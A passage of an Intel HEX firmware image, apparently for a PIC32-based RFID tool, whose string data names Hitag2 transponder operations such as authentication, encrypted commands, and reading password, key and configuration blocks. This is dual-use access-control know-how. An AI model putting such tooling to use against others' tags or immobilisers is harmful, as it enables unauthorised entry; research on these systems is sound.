0010042241000c2a31000c2931700422c93\n:10a40400d4ff4014000000001400c3271400c22726\n:10a414000300422421206000212840004200062439\n:10a42400214b410f000000007400c3271400c22711\n:10a4340021206000212840000800062447b9400f6d\n:10a44400000000007400c22721204000059d023c4a\n:10a45400e05e4524544e410f00000000040040100b\n:10a4640000000000211000005f29410b00000000e3\n:10a474001400c3271400c2270800422421206000ce\n:10a48400212840003a000624214b410f000000001f\n:10a494001400d0931400c22701004224212040005c\n:10a4a400212800000c000624e3bc400f000000003b\n:10a4b4000400021200000000211000005f29410b7b\n:10a4c400000000002d00d0931400c2270d00422488\n:10a4d40021204000010005240c000624e3bc400fa9\n:10a4e400000000000400021200000000211000001f\n:10a4f4005f29410b000000007400c3271400c22729\n:10a504000100422421206000212840001800062474\n:10a5140047b9400f00000000040040140000000090\n:10a52400211000005f29410b000000007400c427c3\n:10a534007c00c3278000c227059d053ce45ea5245a\n:10a5440021306000213840000357410f0000000013\n:10a554007c00c38f8000c28f9800c48f059d053c8a\n:10a56400ec5ea5242130600021384000e455410f01\n:10a57400000000000100022421e8c0039400bf8f02\n:10a584009000be8f8c00b08f9800bd270800e003b8\n:10a5940000000000b0ffbd274c00bfaf4800beafb5\n:10a5a4004400b0af21f0a0035000c4af5400c5afc5\n:10a5b4005400c48f7b4b410f000000002118400061\n:10a5c40008000224040062100000000021100000b2\n:10a5d400fa29410b000000003800c2275400c48f40\n:10a5e400059d033cf85e6524213040000357410f6c\n:10a5f400000000003800c28f1c00c3272120600027\n:10a60400059d033c005f652421304000e455410f63\n:10a61400000000001400c3271c00c2272120600092\n:10a624002128400002000624214b410f00000000b5\n:10a634005400c28f030043243800c2272120600045\n:10a64400059d033c085f6524213040000357410ffa\n:10a65400000000003800c28f1c00c32721206000c6\n:10a66400059d033c105f652421304000e455410ff3\n:10a67400000000001400c227020043241c00c2276b\n:10a68400212060002128400005000624214b410fb1\n:10a69400000000001c00c227010043241400c2274c\n:10a6a4002120600021284000cbb8400f00000000aa\n:10a6b4001c00c3271c00c227010042242120600083\n:10a6c40021284000180006242ef8400f0000000046\n:10a6d4005000c48f21280000600006247152410fed\n:10a6e400000000005000c48f059d023c185f452403\n:10a6f400cbb8400f000000001000c0a312000224d9\n:10a704001100c2a3da29410b000000001100c2931a\n:10a714000100422403004230040040140000000001\n:10a724001100c293010042241100c2a31100c2937c\n:10a734005000c38f211062001000c3931000c4277f\n:10a74400211883000c006390000043a01000c29302\n:10a75400010042241000c2a31100c293010042244c\n:10a764001100c2a31000c2931a00422ce7ff401448\n:10a7740000000000010002241000c2a3f529410bcf\n:10a78400000000001000c293010042248010020067\n:10a79400ffff42245000c38f218062001000c29347\n:10a7a400801002005000c38f21106200212040005d\n:10a7b4000100052403000624e3bc400f0000000050\n:10a7c400000002a21000c293010042241000c2a3a0\n:10a7d4001000c2931800422ceaff4014000000004d\n:10a7e4000100022421e8c0034c00bf8f4800be8f43\n:10a7f4004400b08f5000bd270800e00300000000b3\n:10a80400e8ffbd271400bfaf1000beaf21f0a003c6\n:10a814001800c4af1800c48f212800006ef9400f3f\n:10a824000000000021e8c0031400bf8f1000be8f99\n:10a834001800bd270800e00300000000c8ffbd2782\n:10a844003400bfaf3000beaf21f0a0032118800058\n:10a854002110a0004000c6af4400c7af3800c3a316\n:10a864003c00c2a34000c28f220040100000000040\n:10a874003800c3933c00c29325106200ff004230ad\n:10a884001800c2af1800c28f001202001800c2af35\n:10a894004400c28fff0342301800c38f25106200aa\n:10a8a4001800c2af2000c2274800c38f1000a3af16\n:10a8b4002400c3271400a3af1800c48ffe0005248e\n:10a8c4002130000021384000a843410f000000005f\n:10a8d4001c00c2af2400c28fff0043304c00c28f63\n:10a8e400000043a01c00c28fff004230512a410bdc\n:10a8f400000000004400c28fff0042302800c2a3c1\n:10a904003800c3933c00c29325106200ff0042301c\n:10a91400211840002800c2274800c48f1000a4afab\n:10a924004c00c48f1400a4af21206000ff00052454\n:10a934004000c68f213840006443410f00000000ee\n:10a9440021e8c0033400bf8f3000be8f3800bd271c\n:10a954000800e00300000000d8ffbd272400bfafbb\n:10a964002000beaf21f0a0032800c4af1800c0af80\n:10a974001000a0af2800c28f1400a2af0c00042462\n:10a9840050000524010006241800c78f102a410f27\n:10a994000000000021e8c0032400bf8f2000be8f08\n:10a9a4002800bd270800e00300000000d8ffbd27f1\n:10a9b4002400bfaf2000beaf21f0a003211080000f\n:10a9c4002c00c5af2800c2a31800c0af2800c29352\n:10a9d4000500401000000000100002242800c2a35b\n:10a9e4007c2a410b000000002800c0a32800c29369\n:10a9f4001000a0af2c00c38f1400a3af04000424e4\n:10aa040021284000213000001800c78f102a410f70\n:10aa14000000000021e8c0032400bf8f2000be8f87\n:10aa24002800bd270800e00300000000d8ffbd2770\n:10aa34002400bfaf2000beaf21f0a003211080008e\n:10aa44002c00c5af2800c2a31800c0af2800c293d1\n:10aa54000500401000000000100002242800c2a3da\n:10aa64009c2a410b000000002800c0a32800c293c8\n:10aa74001000a0af2c00c38f1400a3af080004245f\n:10aa840021284000213000001800c78f102a410ff0\n:10aa94000000000021e8c0032400bf8f2000be8f07\n:10aaa4002800bd270800e00300000000d8ffbd27f0\n:10aab4002400bfaf2000beaf21f0a0032118800006\n:10aac4002110a0003000c6af2800c3a32c00c2a3ed\n:10aad4001800c0af2800c2930c0040100000000012\n:10aae4002c00c29305004010000000003000022436\n:10aaf4002800c2a3cc2a410b00000000100002244d\n:10ab04002800c2a3cc2a410b000000002c00c293f1\n:10ab14000500401000000000200002242800c2a309\n:10ab2400cc2a410b000000002800c0a32800c293d7\n:10ab34001000a0af3000c38f1400a3af0c00042496\n:10ab440021284000010006241800c78f102a410f55\n:10ab54000000000021e8c0032400bf8f2000be8f46\n:10ab64002800bd270800e00300000000e0ffbd2727\n:10ab74001c00bfaf1800beaf21f0a0032118800055\n:10ab84002110a0002800c6af2c00c7af2000c3a32b\n:10ab94002400c2a32000c2930c0040100000000057\n:10aba4002400c2930500401000000000300002247d\n:10abb4002000c2a3fc2a410b000000001000022464\n:10abc4002000c2a3fc2a410b000000002400c29311\n:10abd4000500401000000000200002242000c2a351\n:10abe400fc2a410b000000002000c0a32000c293f7\n:10abf4001000a0af2c00c38f1400a3af21200000cd\n:10ac040021284000010006242800c78f102a410f84\n:10ac14000000000021e8c0031c00bf8f1800be8f95\n:10ac24002000bd270800e00300000000e0ffbd276e\n:10ac34001c00bfaf1800beaf21f0a003212000000c\n:10ac4400212800001000c22721304000ac2a410f07\n:10ac54000000000009004014000000001000c2932e\n:10ac6400059d033cf4366424212840006913410ff8\n:10ac740000000000262b410b000000001000c293ce\n:10ac8400059d033c18376424212840006913410fb3\n:10ac94000000000001000424212800001000c22745\n:10aca40021304000ac2a410f00000000090040148c\n:10acb400000000001000c293059d033c403764244b\n:10acc400212840006913410f000000003c2b410b78\n:10acd400000000001000c293059d033c603764240b\n:10ace400212840006913410f0000000021200000ca\n:10acf400010005241000c22721304000ac2a410f76\n:10ad04000000000009004014000000001000c2937d\n:10ad1400059d033c84376424212840006913410fb6\n:10ad240000000000522b410b000000001000c293f1\n:10ad3400059d033cac376424212840006913410f6e\n:10ad44000000000001000424010005241000c227b3\n:10ad540021304000ac2a410f0000000009004014db\n:10ad6400000000001000c293059d033cd437642406\n:10ad7400212840006913410f00000000682b410b9b\n:10ad8400000000001000c293059d033cf8376424c2\n:10ad9400212840006913410f0000000021e8c0038e\n:10ada4001c00bf8f1800be8f2000bd270800e003e1\n:04adb400000000009b\n:020000040000fa\n:020000041d04d9\n:10adb800040000a00c00000001000000ffffffffde\n:10adc800ffffffff801000a03c0000a0140000005f\n:10add80000000000000400a0f213000000000000c2\n:10ade8000c7200a02800000000000000500000a025\n:10adf8001800000000000000100000a0080000007b\n:10ae0800010000007401000001010000680000a0ba\n:10ae18001400000000000000f41700a0210000004a\n:10ae2800000000007c0000a00400000000000000fa\n:10ae3800181800a08000000000000000001a00a000\n:10ae4800db02000000000000806f00a02801000065\n:10ae580000000000500200a0a40100000100000052\n:10ae6800540d029dcc0d029d580e029dac0e029d04\n:10ae7800240f029d880f029de40f029d4410029d3d\n:10ae88009c10029df410029d4811029da411029d80\n:10ae98000012029d5412029db812029d1013029dc9\n:10aea8006813029ddc13029d5414029dd014029d68\n:10aeb8004015029dcc15029d4816029da416029dc0\n:10aec8000017029d6817029dc017029d3418029d45\n:10aed800a018029d1819029d8819029de419029d67\n:10aee800bc1a029d1c1b029d6c1b029dc81b029d67\n:10aef800341c029dac1c029d381d029d9c1d029da8\n:10af0800101e029d7c1e029dd01e029d1c1f029dcc\n:10af1800701f029dc41f029d2420029d8020029d57\n:10af2800ec20029d4421029d9421029de421029d72\n:10af38004822029d1c23029da823029d2024029dd5\n:10af48009024029de424029d3825029d9025029daf\n:10af5800ec25029d4026029d9426029dec26029d2a\n:10af68004827029d9c27029df427029d4c28029d9c\n:10af7800b028029d1029029d7829029de429029d8e\n:10af8800502a029da82a029dfc2a029d642b029d3c\n:10af9800b82b029d282c029db42c029d2c2d029dbd\n:10afa800842d029dd82d029d302e029d9c2e029d3f\n:10afb800042f029d682f029dc82f029d1430029d08\n:10afc8006c30029ddc30029d4031029da831029d0b\n:10afd8002432029d7032029dc832029d2433029da4\n:10afe8007c33029dd833029d3434029d8834029dff\n:10aff800dc34029d2435029d9035029df835029d72\n:10b0080000000000f06a00a08c04000000000000ae\n:10b01800800000a06800000000000000180000a0e8\n:10b0280018000000010000005c5500a028ec019dfc\n:10b038002cec019d30ec019d34ec019d0cf5019d3b\n:10b04800dc1c00a0044d000000000000987200a065\n:10b058001c000000010000001a033000310032001b\n:10b06800330034003500360037003800390041001d\n:10b0780042000000e80000a00400000000000000fa\n:10b08800ec0000a004000000000000004c7100a0cb\n:10b098007c00000001000000703a059d783a059d8b\n:10b0a800803a059d883a059d903a059d983a059df8\n:10b0b800a03a059da83a059db03a059db83a059d68\n:10b0c800c03a059dc43a059dcc3a059dd83a059de0\n:10b0d800e43a059dec3a059df43a059dfc3a059d38\n:10b0e800043b059d0c3b059d183b059d1c3b059da0\n:10b0f80000000000243b059d2c3b059d343b059d2d\n:10b10800343b059d383b059d383b059d383b059de7\n:10b1180000000000587200a020000000010000009c\n:10b128009806059da406059db406059d9806059def\n:10b13800c006059dc806059dd006059dd806059d37\n:10b14800f00000a01800000000000000300000a07f\n:10b15800080000000100000001000000ff000000de\n:10b16800b47200a0100000000100000080c6049d19\n:10b1780090c6049da0c6049db0c6049d080100a009\n:10b188000400000000000000e06900a010000000ba\n:10b1980000000000787200a02000000001000000fc\n:10b1a800ecfc049df8fc049d00fd049d08fd049d35\n:10b1b80010fd049d18fd049d20fd049d28fd049d9f\n:10b1c8000c0100a00400000000000000f06900a0cd\n:10b1d800ff00000000000000347200a024000000fe\n:10b1e800010000009cf9049da8f9049db0f9049d94\n:10b1f800b8f9049dc0f9049dc8f9049dd0f9049dcf\n:10b20800d8f9049de0f9049dc87200a01000000060\n:10b21800000000007c6f00a0040000000000000097\n:10b22800c47200a00400000000000000a87000a084\n:10b23800a400000001000000cc7100a00000000084\n:10b24800cc7100a00900000020000000ec7100a0f3\n:10b2580000000000ec7100a00e02010000000000d8\n:10b2680000000000000000000000000006020200cc\n:10b2780000000000000000000000000000000000c6\n:10b2880000000000000000000000000000000000b6\n:10b2980000000000000000000000000000000000a6\n:10b2a8000000000000000000000000000000000096\n:10b2b8000000000000000000000000000000000086\n:10b2c8000000000000000000000000000000000076\n:10b2d8000000000000000000a87000a0c87100a0d5\n:10b2e8004400000000000000380000a00400000036\n:10b2f8000100000002000000f40300a004000000a8\n:10b308000000000000000000222222222222222225\n:020000040000fa\n:020000041d04d9\n:10b31800e8ffbd271400bfaf1000beaf21f0a003a7\n:10b328001800c4af00a0023cdc56422487004290bb\n:10b338001600432c74006010000000008018020002\n:10b34800059d023c60b34224211062000000428c3b\n:10b35800080040000000000010b5049db8b3049d2b\n:10b368001cb4049d1cb4049dacb4049d10b5049d8c\n:10b3780010b5049d5cb4049d70b4049df4b3049da1\n:10b38800c0b4049d48b4049d84b4049d98b4049d3d\n:10b39800e8b4049d08b4049dd4b4049dccb3049dc2\n:10b3a800e0b3049d10b5049d34b4049dfcb4049d21\n:10b3b8001800c48f1fff400f00000000462d410bee\n:10b3c800000000001800c48f012a410f000000008f\n:10b3d800462d410b000000001800c48f47de400fc7\n:10b3e80000000000462d410b000000001800c48f2b\n:10b3f80065db400f00000000462d410b00000000f7\n:10b408001800c48fa81b410f00000000462d410bf7\n:10b41800000000001800c48f212800006ef9400fba\n:10b4280000000000462d410b000000001800c48fea\n:10b43800a11d410f00000000462d410b0000000037\n:10b448001800c48f583e410f00000000462d410be4\n:10b45800000000001800c48fedaa400f0000000093\n:10b46800462d410b000000001800c48fb6ad400ff8\n:10b4780000000000462d410b000000001800c48f9a\n:10b48800ad27410f00000000462d410b00000000d1\n:10b498001800c48f6628410f00000000462d410b9c\n:10b4a800000000001800c48fb008410f0000000021\n:10b4b800462d410b000000001800c48fcbce400f72\n:10b4c80000000000462d410b000000001800c48f4a\n:10b4d80068e2400f00000000462d410b000000000c\n:10b4e8001800c48ffb43410f00000000462d410b9c\n:10b4f800000000001800c48f6b42410f00000000dc\n:10b50800462d410b00000000000000002110000043\n:10b5180021e8c0031400bf8f1000be8f1800bd279c\n:10b528000800e00300000000e8ffbd271400bfafdb\n:10b538001000beaf21f0a0031800c4af1c00c5afb7\n:10b548002110c0002000c2a32000c2931600432c83\n:10b558008d0060100000000080180200059d023c6c\n:10b568007cb54224211062000000428c0800400093\n:10b5780000000000d4b5049df0b5049d6cb6049d90\n:10b588006cb6049d14b7049d90b7049d90b7049db4\n:10b59800b4b6049dccb6049d3cb6049d2cb7049d5e\n:10b5a8009cb6049de4b6049dfcb6049d60b7049d5a\n:10b5b80054b6049d44b7049d08b6049d20b6049d66\n:10b5c80090b7049d84b6049d78b7049d1800c48f75\n:10b5d8001c00c58f574a410f0000000001000224db\n:10b5e800e62d410b000000001800c48f1c00c58f19\n:10b5f8007cff400f00000000e62d410b000000001a\n:10b608001800c48f1c00c58fa628410f0000000039\n:10b61800e62d410b000000001800c48f1c00c58fe8\n:10b62800574a410f0000000001000224e62d410b9b\n:10b63800000000001800c48f1c00c58f73db400f8a\n:10b6480000000000e62d410b000000001800c48f28\n:10b658001c00c58f991c410f00000000e62d410b0e\n:10b66800000000001800c48f1c00c58fa7fa400f07\n:10b6780000000000e62d410b000000001800c48ff8\n:10b688001c00c58f8e1e410f00000000e62d410be7\n:10b69800000000001800c48f1c00c58fad3d410f8d\n:10b6a80000000000e62d410b000000001800c48fc8\n:10b6b8001c00c58f42ab400f00000000e62d410b77\n:10b6c800000000001800c48f1c00c58ffead400f9d\n:10b6d80000000000e62d410b000000001800c48f98\n:10b6e8001c00c58f4e28410f00000000e62d410bbd\n:10b6f800000000001800c48f1c00c58f7428410f7b\n:10b7080000000000e62d410b000000001800c48f67\n:10b718001c00c58f1309410f00000000e62d410be6\n:10b72800000000001800c48f1c00c58f01cf400f17\n:10b7380000000000e62d410b000000001800c48f37\n:10b748001c00c58f574a410f000000000100022469\n:10b75800e62d410b000000001800c48f1c00c58fa7\n:10b768000944410f00000000e62d410b00000000d5\n:10b778001800c48f1c00c58f7942410f00000000db\n:10b78800e62d410b00000000000000002110000021\n:10b7980021e8c0031400bf8f1000be8f1800bd271a\n:10b7a8000800e00300000000e0fdbd271c02bfaf59\n:10b7b8001802beaf21f0a0032002c4af2110a000e0\n:10b7c8002402c2a31000c22721204000c62c410f2a\n:10b7d800000000000f004010000000002402c29387\n:10b7e8002002c48f1000c3272128600021304000a8\n:10b7f8004c2d410f00000000060040100000000022\n:10b808002002c48f83f7400f00000000082e410b70\n:10b81800000000002110000021e8c0031c02bf8fb7\n:10b828001802be8f2002bd270800e00300000000b8\n:10b83800e0ffbd271c00bfaf1800beaf21f0a0037a\n:10b84800214880002140a0002128c0002120e000dc\n:10b858003000c38f3800c28f2000c9a32400c8a3ba\n:10b868002800c5a32c00c4a31000c3a31400c2a3be\n:10b87800448280a7468280a3478280a32000c29387\n:10b88800488282a32400c293498282a32800c293db\n:10b898004a8282a32c00c2934b8282a31000c293d7\n:10b8a8004c8282a31400c2934d8282a31000c293db\n:10b8b80008004010000000001000c29300a0033ce4\n:10b8c800f06964243400c58f21304000214b410fba\n:10b8d800000000000a000424c219410f0000000003\n:10b8e800488284274482852700a0023cf0694624c8\n:10b8f80093ef400f00000000040040140000000017\n:10b90800211000007e2e410b000000004682839328\n:10b918006c00022411006214000000004782829328\n:10b928004d8282a30a000424c219410f00000000be\n:10b93800488284274482852700a0023cf069462477\n:10b9480093ef400f000000000400401400000000c6\n:10b95800211000007e2e410b0000000046828393d8\n:10b96800610002241700621400000000488280a3ce\n:10b97800c0ff0224498282a34a8280a34b8280a30b\n:10b988004c8280a3478282934d8282a30a000424ba\n:10b99800c219410f0000000048828427448285278d\n:10b9a80000a0023cf069462493ef400f000000001d\n:10b9b8000400401400000000211000007e2e410bfe\n:10b9c800000000004682839390000224070062145e\n:10b9d8000000000047828293040040140000000029\n:10b9e800010002247e2e410b0000000021100000ff\n:10b9f80021e8c0031c00bf8f1800be8f2000bd27a0\n:10ba08000800e00300000000c8ffbd273400bfaff6\n:10ba18003000beaf2c00b0af21f0a0033800c4af97\n:10ba28002000c0a32100c0a32200c0a3448280a795\n:10ba3800468280a3478280a33800c48f7b4b410f86\n:10ba4800000000000800422c040040100000000024\n:10ba580021100000082f410b000000003800c48f9f\n:10ba680047b7400f000000002300c2a33800c28f70\n:10ba7800020042242120400047b7400f0000000088\n:10ba88002400c2a33800c28f0400422421204000b1\n:10ba980047b7400f000000002500c2a33800c28f3e\n:10baa800060042242120400047b7400f0000000054\n:10bab8002600c2a33800c48f7b4b410f0000000052\n:10bac800211840000a000224090062140000000046\n:10bad8003800c28f080042242120400047b7400f99\n:10bae800000000002100c2a3f92e410b0000000055\n:10baf8003800c28f080042242120400047b7400f79\n:10bb0800000000002000c2a32200c0a3d82e410bd1\n:10bb1800000000002200d0932200c29305004224b6\n:10bb2800401002003800c38f21106200212040001d\n:10bb380047b7400f000000002118400000a0023c59\n:10bb48005c45422421100202000043a02200c29357\n:10bb5800010042242200c2a32200c3932000c29302\n:10bb68002b106200ebff4014000000003800c48f67\n:10bb78007b4b410f00000000421802002200c293d4\n:10bb8800060042242b10430004004010000000006f\n:10bb980021100000082f410b000000003800c48f5e\n:10bba8007b4b410f00000000421802002200c293a4\n:10bbb8000600422409006214000000002200c2931b\n:10bbc800050042243800c38f211062002120400064\n:10bbd80047b7400f000000002100c2a32300c49310\n:10bbe8002400c5932500c3932600c2932000c79361\n:10bbf8002100c6931000a7af00a0073c5c45e724ce\n:10bc08001400a7af1800a6af21306000213840000b\n:10bc18000e2e410f0000000021e8c0033400bf8f42\n:10bc28003000be8f2c00b08f3800bd270800e0031d\n:10bc380000000000e0ffbd271c00bfaf1800beaf2a\n:10bc480021f0a0031000c0a7232f410b0000000023\n:10bc58001000c39700a0023cf06942242110620042\n:10bc680000004290059d033c28656424212840007b\n:10bc78006913410f000000001000c2970100422420\n:10bc88001000c2a7448282971000c3972b1062004d\n:10bc9800efff40140000000046828293059d033c9c\n:10bca80028656424212840006913410f0000000022\n:10bcb80047828293059d033c306564242128400017\n:10bcc8006913410f00000000059d023c38654424bb\n:10bcd800059d023c3c6545240413410f000000000b\n:10bce80021e8c0031c00bf8f1800be8f2000bd27ad\n:10bcf8000800e00300000000f0ffbd270c00beaf05\n:10bd080021f0a003211080001000c2a31000c293ec\n:10bd18000800432c41006010000000008018020059\n:10bd2800059d023c40bd4224211062000000428c67\n:10bd3800080040000000000024be049d60bd049d72\n:10bd48007cbd049d98bd049db4bd049dd0bd049ddb\n:10bd5800ecbd049d08be049d88bf023c2061428c56\n:10bd6800c000427cff0042300000c2af8c2f410b64\n:10bd78000000000088bf023c2061428c8000427ca9\n:10bd8800ff0042300000c2af8c2f410b00000000c2\n:10bd980088bf023c2061428c4000427cff00423058\n:10bda8000000c2af8c2f410b0000000088bf023c8e\n:10bdb8002061428c0000427cff0042300000c2af8c\n:10bdc8008c2f410b0000000088bf023ca061428c10\n:10bdd8008001427cff0042300000c2af8c2f410b33\n:10bde8000000000088bf023c2060428cc003427cf7\n:10bdf800ff0042300000c2af8c2f410b0000000052\n:10be080088bf023ce060428cc002427cff004230a6\n:10be18000000c2af8c2f410b000000002110000071\n:10be28008d2f410b000000000000c28f21e8c003e5\n:10be38000c00be8f1000bd270800e00300000000c2\n:10be4800f8ffbd270400beaf21f0a0032110800039\n:10be58000c00c5af0800c2a30800c2930800432c19\n:10be6800900060100000000080180200059d023c50\n:10be78008cbe4224211062000000428c0800400061\n:10be880000000000acbe049d94bf049dbcbf049d8f\n:10be9800e4bf049d0cc0049d34c0049d5cc0049d97\n:10bea80084c0049d0c00c28fff0042300100423064\n:10beb800ff00443088bf033c20616294c418827c30\n:10bec800206162a40c00c28fff00423001004230a2\n:10bed800ff00443088bf033c206162948410827c58\n:10bee800206162a40c00c28fff0042300100423082\n:10bef800ff00443088bf033c206162944408827c80\n:10bf0800206162a40c00c28fff0042300100423061\n:10bf1800ff00443088bf033c206162940400827ca7\n:10bf2800206162a40c00c28fff0042300100423041\n:10bf3800ff00443088bf033ca06162948431827c56\n:10bf4800a06162a40c00c28fff00423001004230a1\n:10bf5800ff00443088bf033c20606294c47b827c2d\n:10bf6800206062a40c00c28fff0042300100423002\n:10bf7800ff00443088bf033ce0606294c45a827c6e\n:10bf8800e06062a42e30410b000000000c00c28f5c\n:10bf9800ff00423001004230ff00443088bf033cbc\n:10bfa80020616294c418827c206162a42e30410b07\n:10bfb800000000000c00c28fff0042300100423038\n:10bfc800ff00443088bf033c206162948410827c67\n:10bfd800206162a42e30410b000000000c00c28fcb\n:10bfe800ff00423001004230ff00443088bf033c6c\n:10bff800206162944408827c206162a42e30410b47\n:10c00800000000000c00c28fff00423001004230e7\n:10c01800ff00443088bf033c206162940400827ca6\n:10c02800206162a42e30410b000000000c00c28f7a\n:10c03800ff00423001004230ff00443088bf033c1b\n:10c04800a06162948431827ca06162a42e30410b8d\n:10c05800000000000c00c28fff0042300100423097\n:10c06800ff00443088bf033c20606294c47b827c1c\n:10c07800206062a42e30410b000000000c00c28f2b\n:10c08800ff00423001004230ff00443088bf033ccb\n:10c09800e0606294c45a827ce06062a42e30410b56\n:10c0a80000000000211000002f30410b00000000ac\n:10c0b8000100022421e8c0030400be8f0800bd2748\n:10c0c8000800e00300000000e0ffbd271c00bfaf30\n:10c0d8001800beaf21f0a003211080002000c2a3e9\n:10c0e8002000c29321204000402f410f0000000093\n:10c0f8001000c2af2000c3931000c28f0100422c71\n:10c10800ff0042302120600021284000922f410f7b\n:10c118000000000021e8c0031c00bf8f1800be8f7c\n:10c128002000bd270800e00300000000e8ffbd274d\n:10c138001400bfaf1000beaf21f0a0032110800093\n:10c148001800c2a31800c293212040002128000033\n:10c15800922f410f0000000021e8c0031400bf8f98\n:10c168001000be8f1800bd270800e0030000000083\n:10c17800e8ffbd271400bfaf1000beaf21f0a00339\n:10c18800211080001800c2a31800c293212040008b\n:10c1980001000524922f410f0000000021e8c00390\n:10c1a8001400bf8f1000be8f1800bd270800e003e1\n:04c1b8000000000083\n:020000040000fa\n:020000041d04d9\n:10c1bc004050050042550a00c04a0500427d04006b\n:10c1cc0025482f01c042040000800e3c25482e015a\n:10c1dc0040680700426d0d00c0620700427d0600fa\n:10c1ec0025608f01c05a060025608e012628a70005\n:10c1fc002428ae00ffff4f25fe07e12dcb002010b9\n:10c20c0000000000ffffaf25fe07e12df400201019\n:10c21c000000000023504d01ff034a254240080056\n:10c22c00c07f090025400f0142480900023c0c0068\n:10c23c00f401e0001b002701127000001048000000\n:10c24c00ffff86311900ce0012200000004c0900bf\n:10c25c00027c080025482f012b7824010600e011f0\n:10c26c0023482401ffffce2521482c012b082c014b\n:10c27c00fcff201000000000f401e0001b0027016f\n:10c28c0012380000104800001900c70012200000ee\n:10c29c00004c0900ffff0f3125482f012b7824019a\n:10c2ac000600e01123482401ffffe72421482c015c\n:10c2bc002b082c01fcff20100000000000740e0065\n:10c2cc002170c7011900cb011238000010200000aa\n:10c2dc00000008242b780701234007012b102f01a5\n:10c2ec0023482f012b7824012578e2010b00e01163\n:10c2fc0023482401ffffce2521400b012b780b0195\n:10c30c0021482c0121482f0102002c1100000000b3\n:10c31c002b782c01f7ffe0110000000006002c1513\n:10c32c000000000025200b002548080000000d240b\n:10c33c002a00001025380d00023c0c00f401e0002e\n:10c34c001b0027011268000010480000ffff863117\n:10c35c001900cd0012200000004c0900027c0800de\n:10c36c0025482f012b7824010600e01123482401d5\n:10c37c00ffffad2521482c012b082c01fcff2010c0\n:10c38c0000000000f401e0001b002701123800003f\n:10c39c00104800001900c70012200000004c0900d2\n:10c3ac00ffff0f3125482f012b7824010600e011e7\n:10c3bc0023482401ffffe72421482c012b082c01e2\n:10c3cc00fcff201000000000006c0d002168a7018c\n:10c3dc001900ab01123800001020000000000824e6\n:10c3ec002b780701234007012b102f0123482f0125\n:10c3fc002b7824012578e2010b00e011234824015d\n:10c40c00ffffad2521400b012b780b0121482c019e\n:10c41c0021482f0102002c11000000002b782c0168\n:10c42c00f7ffe011000000000600c005000000004e\n:10c43c002a78a0012168ad012170ce012170cf01b5\n:10c44c00ffff4a25257828010200e01100000000ba\n:10c45c000100ad3525480e0025400d00ffff4f258e\n:10c46c00fe07e12d15002010000000000004082537\n:10c47c0000040f2d21482f012b782f0121504f0143\n:10c48c00c27a08000100ef3123400f01c2220800dc\n:10c49c00407d090025208f0040780900027b0f00a9\n:10c4ac002528af00007d0a002528af0025100400c8\n:10c4bc00251805000800e003000000004400401da2\n:10c4cc000000000001000e242370ca012000c12dc1\n:10c4dc000700201400000000e0ffce212b200800f4\n:10c4ec000d00091025402401f8ff0010000009344c\n:10c4fc000900c0110000000022300e000420c8000a\n:10c50c000430c9000640c8010648c9010200801069\n:10c51c002540c800020008350004082500040f2d32\n:10c52c0021482f01d6ff0010c25709002a780001bc\n:10c53c0021400801214829011700401521482f01ed\n:10c54c00257828011400e0110000000008002015d7\n:10c55c0000000000030000150000000029ff00107f\n:10c56c0000000a242548000100000824e0ff4a25a9\n:10c57c0020702e7123ffc0110000000023504e01cb\n:10c58c0022300e000630c8000440c8010448c9011e\n:10c59c001cff00102548260105004d150000000069\n:10c5ac0040780c002578eb012b00e0110000000016\n:10c5bc00ff0701240a00a11100000000bbff40117d\n:10c5cc0000000000257828012300e0150000000081\n:10c5dc00f07f013c2528a100b4ff001000000424ca\n:10c5ec002a78600121586b0121608c011700a0157d\n:10c5fc0021608f0125788b01f5ffe0110000000010\n:10c60c000800801500000000030060150000000009\n:10c61c0000ff001000000d242560600100000b24b9\n:10c62c00e0ffad2520708e71fafec01100000000f5\n:10c63c002368ae0122300e000630cb000458cb012b\n:10c64c000460cc01f3fe00102560860125788b0177\n:10c65c000200e01100000000f8ff053c93ff001001\n:08c66c0000000424000000009e\n:020000040000fa\n:020000041d04d9\n:10c674000101010101000000010001005075626c1c\n:10c684006963204d6f646520420000005075626c40\n:10c694006963204d6f646520410000005075626c31\n:10c6a4006963204d6f64652043000000486974612c\n:10c6b4006732000030303131300000003031313128\n:10c6c400000000000d0a25732c2048414c54000042\n:10c6d4000d0a25732c203f494e56414c49443f00d6\n:10c6e4000d0a25732c205345545f4343000000007a\n:10c6f40031313030000000000d0a25732c205245e2\n:10c7040041445f504c41494e544558545f50414751\n:10c71400453a000031303030000000000d0a257326\n:10c724002c2057524954455f504c41494e5445586a\n:10c73400545f504147453a00252e32733a000000b9\n:10c74400257300000d0a25732c20444154413a00fe\n:10c75400252e38733a0000003030303030000000ad\n:10c764000d0a25732c2053454c4543543a000000d0\n:10c774000d0a25732c3f494e56414c49443f000055\n:10c784000d0a0000313130303000000034443439b7\n:10c7940034423532000000003446344534443439e0\n:10c7a40034423532000000000d47617020256400da\n:10c7b400205a65726f20256400000000204f6e65ca\n:10c7c400202564002046432025640000202d206796\n:10c7d4006f7420256400000020756964732c202583\n:10c7e40064000000206175746873202564000000f3\n:10c7f4002072656164732c206f7574206f66202528\n:10c804006420617474656d7074732e0d0a000000e9\n:10c814002532580025303258000000000101000084\n:10c82400010001003030414134383534000000004b\n:10c834003032414134383534000000003036414153\n:10c8440034383534000000000d0a25732c2053546d\n:10c854004152545f41555448000000000d0a2573ad\n:10c864002c20434d445f454e435259505445440097\n:10c8740030300000313100000d0a25732c20524560\n:10c8840041445f504147453a000000003031000008\n:10c894000d0a25732c20524541445f504147455fa2\n:10c8a400494e5645525445443a0000003130000088\n:10c8b4000d0a25732c2057524954455f5041474572\n:10c8c4003a000000256400000d0a25732c205057ff\n:10c8d400443a00000d0a25732c2050524e3a0000b1\n:10c8e40025733a205345435245543a004e6f205223\n:10c8f400656164202f204e6f2057726974650000b3\n:10c9040052656164202f205772697465000000002d\n:10c914005061676520313a204e6f20526561642072\n:10c924002f204e6f2057726974652c205061676503\n:10c9340020323a2052656164204f6e6c7900000009\n:10c9440052656164204f6e6c790000004372797007\n:10c95400746f000050617373776f7264000000009d\n:10c9640042695068617365004d616e6368657374f4\n:10c9740065720000202020202050574420426c6f14\n:10c98400636b202831293a20252e3873202020205b\n:10c99400000000000d0a0d0a20202020204b65799c\n:10c9a40020426c6f636b202832293a20252e38737d\n:10c9b40020202020000000000d0a0d0a2020436fd3\n:10c9c4006e66696720426c6f636b202833293a20b6\n:10c9d400252e38730d0a0d0a0000000020202020a7\n:10c9e40020202020506167652031202620323a2003\n:10c9f4002564203d2000000025730d0a000000007e\n:10ca04002020202020202020202020205061676525\n:10ca140020333a202564203d2000000020202020df\n:10ca24002020202050